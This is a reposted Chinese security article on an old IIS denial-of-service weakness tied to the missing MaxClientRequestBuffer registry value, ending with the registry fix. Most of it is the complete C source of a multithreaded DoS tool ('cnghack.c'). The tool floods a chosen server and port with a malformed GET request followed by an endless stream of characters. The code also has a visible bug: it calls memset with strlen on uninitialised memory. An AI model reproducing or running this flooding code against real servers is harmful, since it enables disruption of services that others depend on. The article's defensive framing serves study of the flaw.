ASP漏洞分析和解決方案(5)

來源:互聯網
上載者:User
解決 17 IIS web server DOS

  漏洞描述:
  預設情況下,IIS容易被拒絕服務的攻擊。如果註冊表中有一個叫 "MaxClientRequestBuffer" 的鍵未被建立,針對這種NT系
統的攻擊通常能奏效。 "MaxClientRequestBuffer" 這個鍵用於設定IIS允許接受的輸入量。如果 "MaxClientRequestBuffer"
設定為256(bytes),則攻擊者通過輸入大量的字元請求IIS將被限制在256位元組以內。而系統的預設設定對此不加限制,因此,利用
下面的程式。可以很容易地對IIS server實行DOS攻擊:

#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's

  攻擊結果將導致NT系統的CPU佔用率達到 100%

  解決方案
  運行Regedt32.exe
在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一個值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
  設定為十進位
  具體數值設定為你想設定的IIS允許接受的URL最大長度。
  CNNS的設定為256



相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。